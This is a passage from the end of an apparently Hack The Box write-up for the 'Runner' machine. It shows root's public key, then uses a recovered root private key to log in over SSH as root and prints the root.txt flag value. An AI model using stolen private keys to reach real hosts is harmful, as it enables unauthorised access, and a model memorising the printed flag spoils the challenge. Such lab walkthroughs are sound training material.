ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCnFEp0WNKI0IlkLRvHZA8YRJk6QzI9eVa069Y13HooUZTdB3otdQ4p0Ybc94bCBPCMY4u2ugEsjWTjSc0sNxWT3KEBjEZ9c9+iVVLoL3368K0QpHjpue66BW2o4OgrvpOlM6QACN1efPT+30NM2XdQkTydB+ST+Jwzd26+j+qSqFiDCUIxsLqXdmJS8ut1Sxi9GQ5RZ9o/I4tUZ1kveLNWDpTcy7lk2mmCbk6oAd0Q3XmoOxVizsaSk1jm1++bkO9TWJfZm30wVMObjoAw/K3IYI+nCbZ87chEBZo64ulajFC+3P3VGQ4GMldiQg4x1lc2af3uIffQIhg3bWHyzATwG8hqPLjBqHEfw1y37MufiqKRulyeyTOqDxGI0Y9cSkL+H72W9rylEgiJIpW4nc/WXoxHR76wml9cd5bnjW1cB8q7coOBu7G0KtJXYgIb59jfZE+GWi2nigxaDgo5i/bqDhIcV/jtNCFIlvDzw8shl5LHqjUF/Mmtu3bx71Q/+ik= root@runner

Now I just need to give root's private key the right permissions and use it to obtain a root shell on the host, fully completing the machine.

sh
┌─[us-dedivip-1]─[10.10.14.153]─[htb-mp-904224@htb-yfid9tu2jm]─[~/Desktop]
└──╼ [★]$ chmod 600 root 


┌─[us-dedivip-1]─[10.10.14.153]─[htb-mp-904224@htb-yfid9tu2jm]─[~/Desktop]
└──╼ [★]$ ssh -i root root@runner.htb
Welcome to Ubuntu 22.04.4 LTS (GNU/Linux 5.15.0-102-generic x86_64)
<...>
Last login: Tue Apr 23 18:32:29 2024 from 10.10.14.153
root@runner:~# cat root.txt
25a66f556535beb654bdf922ee33419a
Thanks for reading another writeup fren!

Thanks for reading another writeup fren!

Additional Resources

Ippsec video walkthrough

0xdf writeup

0xdf.gitlab.io